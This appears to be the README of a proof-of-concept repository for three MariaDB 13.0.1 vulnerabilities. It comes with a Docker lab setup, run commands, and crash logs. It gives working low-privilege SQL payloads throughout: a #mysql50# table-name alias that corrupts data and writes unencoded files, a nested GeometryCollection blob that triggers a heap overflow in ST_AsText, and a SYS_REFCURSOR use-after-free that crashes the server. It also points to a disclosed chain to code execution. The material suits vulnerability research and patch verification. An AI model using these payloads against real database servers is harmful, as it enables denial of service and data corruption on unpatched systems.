
PoC for CVE-2026-92262, CVE-2026-85746, CVE-2026-85748 against MariaDB 13.0.1
Low-privilege SQL over the normal server port. No FILE, SUPER, or plugin load.
Target: mariadb:13.0.1-rc (13.0.1-MariaDB-ubu2604). Fixed in 13.0.2 / 12.3.3 (also 11.8.9, 11.4.13, 10.11.19, 10.6.28 for the first two).
| CVE | CWE | CVSS 3.1 | Bug | Proof on 13.0.1 |
|---|---|---|---|---|
| CVE-2026-92262 | CWE-706 | 9.9 | #mysql50# encoding / table-cache alias | INSERT into `#mysql50#t` is visible in t; files land as a-b.frm |
| CVE-2026-85746 | CWE-787 | 9.9 | ST_AsText OOB write on nested GeometryCollection | free(): invalid next size (normal) then SIGABRT |
| CVE-2026-85748 | CWE-416 | 9.9 | SYS_REFCURSOR cursor-array realloc UAF | SIGSEGV in Materialized_cursor::open |
CVE-2026-85748 only exists on 12.3.1–12.3.2 and 13.0.1. The other two cover 10.6.1+ as well.
Crash and data-corruption PoCs. The disclosed HackerOne chain (report 3856148) turns 85748 + an ST_Area heap over-read into COOP execlp. That payload is not in this tree.
cd server && bash start.sh
pip install -r requirements.txt
python client/exploit.py --cve 92262
python client/exploit.py --cve 85746 # kills mariadbd
# restart the container
python client/exploit.py --cve 85748 # kills mariadbd
--host / --port / --user / --password / --database override compose defaults (localhost:3306, lowpriv / lowpriv, appdb). SQL under client/sql/ is the same payloads for a mariadb CLI.
DELIMITER is a CLI meta-command. client/exploit.py sends CREATE FUNCTION / CREATE PROCEDURE as single protocol statements.
server/docker-compose.yml
server/start.sh
client/exploit.py
client/sql/cve-2026-92262.sql
client/sql/cve-2026-85746.sql
client/sql/cve-2026-85748.sql
docker-compose.yml pulls mariadb:13.0.1-rc and creates database appdb plus user lowpriv / lowpriv with ALL on appdb only. Dummy lab passwords, not production secrets.
services:
mariadb:
image: mariadb:13.0.1-rc
environment:
MARIADB_ROOT_PASSWORD: root
MARIADB_DATABASE: appdb
MARIADB_USER: lowpriv
MARIADB_PASSWORD: lowpriv
ports:
- "3306:3306"
command: ["--core-file"]
Restart after each crashing PoC:
docker start mariadb-vuln
# or
docker compose restart
#mysql50# prefixAdvisory: GHSA-65jj-h265-3m7h / MDEV-40362
MariaDB encodes table names on disk (a-b → [email protected]). The historical #mysql50# prefix skips that encoding so MySQL 5.0 names still open. The prefix is also a table-cache key collision: `#mysql50#t` and t share a share / handler.
CREATE TABLE t (id INT, c1 BINARY(10)) ENGINE=MEMORY;
INSERT INTO t VALUES (1, REPEAT(0x41, 10));
CREATE TABLE `#mysql50#t` (id INT, c1 BINARY(1)) ENGINE=MEMORY;
INSERT INTO `#mysql50#t` VALUES (2, 0x42);
SELECT id, HEX(c1) FROM t ORDER BY id;
CREATE TABLE `#mysql50#a-b` (id INT) ENGINE=MyISAM;
BEFORE id=1 hex=41414141414141414141
MYSQL50 id=1 hex=41
MYSQL50 id=2 hex=42
AFTER_T id=1 hex=41414141414141414141
AFTER_T id=2 hex=42000000000000000000
Row 2 was inserted only into `#mysql50#t`. SELECT on t returns it, truncated/padded across the two BINARY widths. The two names are one cached table.
Datadir after the MyISAM create:
a-b.frm
a-b.MYD
a-b.MYI
[email protected] is absent. Encoding was skipped.
../ in the unencoded name is rejected (ERROR 1103 Incorrect table name). The mix-up and unencoded create are enough for corruption and for writing unexpected filenames under the datadir.
ST_AsText OOB writeAdvisory: MDEV-40329
Gis_geometry_collection serializes WKT recursively. The output Binary_string is sized from a shallow length guess. Nested GEOMETRYCOLLECTION wrappers add GEOMETRYCOLLECTION(...) text the allocator did not reserve. qs_append writes past Alloced_length. Debug builds hit:
Binary_string::qs_append(char): Assertion `str_length + (uint32)(1) <= Alloced_length' failed
Release glibc aborts in free().
| Bytes | Meaning |
|---|---|
00 00 00 00 | SRID 0 |
01 07 00 00 00 01 00 00 00 × 200 | LE, type 7 GeometryCollection, 1 child |
01 01 00 00 00 + 16 zero bytes | LE Point(0,0) |
SELECT ST_AsText(CONCAT(
UNHEX('00000000'),
REPEAT(UNHEX('010700000001000000'), 200),
UNHEX('010100000000000000000000000000000000000000')
)) AS oops;
A shallow ST_AsText(ST_GeomFromText('POINT(1 2)')) returns POINT(1 2) on the same session first.
free(): invalid next size (normal)
mariadbd got signal 6 ;
Client: timeout / lost connection. SELECT 1 after that fails. Heap metadata is already smashed (invalid next size). SIGABRT is the allocator catching it, not a clean SQL error.
SYS_REFCURSOR UAFAdvisory: MDEV-40639 / HackerOne 3856148
thd->statement_cursors is a Dynamic_array<sp_cursor_array_element> with a 16-slot default. Each SYS_REFCURSOR is stored inline. OPEN of a 17th cursor reallocates the buffer. An outer OPEN c FOR SELECT trigger_realloc() keeps a raw pointer into the old buffer. When the inner function returns, Materialized_cursor::open / sp_cursor::open dereference the stale slot.
Inner function: declare and OPEN 17 SYS_REFCURSORs, then RETURN 1.
Outer procedure:
CREATE PROCEDURE trigger_uaf()
BEGIN
DECLARE c SYS_REFCURSOR;
OPEN c FOR SELECT trigger_realloc();
END;
SET SESSION max_open_cursors = 100;
CALL trigger_uaf();
Needs CREATE ROUTINE on the current database (compose ALL ON appdb.* includes it). The anonymous-block form in the HackerOne writeup is the same realloc without a stored routine; the CLI delimiter splitter will chop BEGIN NOT ATOMIC unless the whole block is one protocol statement.
CALL_EXIT:137
container exit=139
mariadbd got signal 11 ;
mariadbd(Materialized_cursor::open+0x50)
mariadbd(mysql_open_cursor+0x374)
mariadbd(sp_cursor::open+0x32)
mariadbd(sp_instr_copen_by_ref::exec_core+0x2bd)
...
Query: SELECT trigger_realloc()
Writing a core file...
Exit 139 is SIGSEGV. The crashing statement is the inner SELECT trigger_realloc() still running under the outer cursor OPEN.
92262 is silent. 85746 and 85748 each take down mariadbd.
bash server/start.shpython client/exploit.py --cve 92262python client/exploit.py --cve 85746python client/exploit.py --cve 85748Confirm 85746/85748 on the server with docker logs: invalid next size + signal 6, then later signal 11 and the Materialized_cursor::open frame.